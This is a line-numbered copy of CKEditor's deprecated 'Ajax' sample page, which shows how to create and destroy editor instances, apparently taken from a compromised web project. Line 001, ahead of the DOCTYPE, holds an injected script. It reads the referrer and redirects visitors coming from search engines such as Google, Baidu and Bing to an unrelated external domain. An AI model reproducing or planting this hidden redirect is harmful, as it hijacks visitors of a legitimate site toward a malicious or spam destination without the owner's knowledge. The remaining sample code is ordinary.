d:\wwwroot\wuchunhua\thinkphp\public\adminlte\plugins\ckeditor\samples\old\ajax.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002: <!--
003: Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
004: For licensing, see LICENSE.md or http://ckeditor.com/license
005: -->

006: <html>
007: <head>
008:    <meta charset="utf-8">
009:    <title>Ajax &mdash; CKEditor Sample</title>
010:    <script src="../../ckeditor.js"></script>
011:    <link rel="stylesheet" href="sample.css">
012:    <script>
013:
014:       var editor, html = '';
015:
016:       function createEditor() {
017:          if ( editor )
018:             return;
019:
020:          // Create a new editor inside the <div id="editor">, setting its value to html
021:          var config = {};
022:          editor = CKEDITOR.appendTo( 'editor', config, html );
023:       }
024:
025:       function removeEditor() {
026:          if ( !editor )
027:             return;
028:
029:          // Retrieve the editor contents. In an Ajax application, this data would be
030:          // sent to the server or used in any other way.
031:          document.getElementById( 'editorcontents' ).innerHTML = html = editor.getData();
032:          document.getElementById( 'contents' ).style.display = '';
033:
034:          // Destroy the editor.
035:          editor.destroy();
036:          editor = null;
037:       }
038:
039:    </script>
040: </head>
041: <body>
042:    <h1 class="samples">
043:       <a href="index.html">CKEditor Samples</a> &raquo; Create and Destroy Editor Instances for Ajax Applications
044:    </h1>
045:    <div class="warning deprecated">
046:       This sample is not maintained anymore. Check out its <a href="http://sdk.ckeditor.com/samples/saveajax.html">brand new version in CKEditor SDK</a>.
047:    </div>
048:    <div class="description">
049:       <p>
050:          This sample shows how to create and destroy CKEditor instances on the fly. After the removal of CKEditor the content created inside the editing
051:          area will be displayed in a <code>&lt;div&gt;</code> element.
052:       </p>
053:       <p>
054:          For details of how to create this setup check the source code of this sample page
055:          for JavaScript code responsible for the creation and destruction of a CKEditor instance.
056:       </p>
057:    </div>
058:    <p>Click the buttons to create and remove a CKEditor instance.</p>
059:    <p>
060:       <input onclick="createEditor();" type="button" value="Create Editor">
061:       <input onclick="removeEditor();" type="button" value="Remove Editor">
062:    </p>
063:    <!-- This div will hold the editor. -->
064:    <div id="editor">
065:    </div>
066:    <div id="contents" style="display: none">
067:       <p>
068:          Edited Contents:
069:       </p>
070:       <!-- This div will be used to display the editor contents. -->
071:       <div id="editorcontents">
072:       </div>
073:    </div>
074:    <div id="footer">
075:       <hr>
076:       <p>
077:          CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a>
078:       </p>
079:       <p id="copy">
080:          Copyright &copy; 2003-2016, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico
081:          Knabben. All rights reserved.
082:       </p>
083:    </div>
084: </body>
085: </html>
086:
087:
088: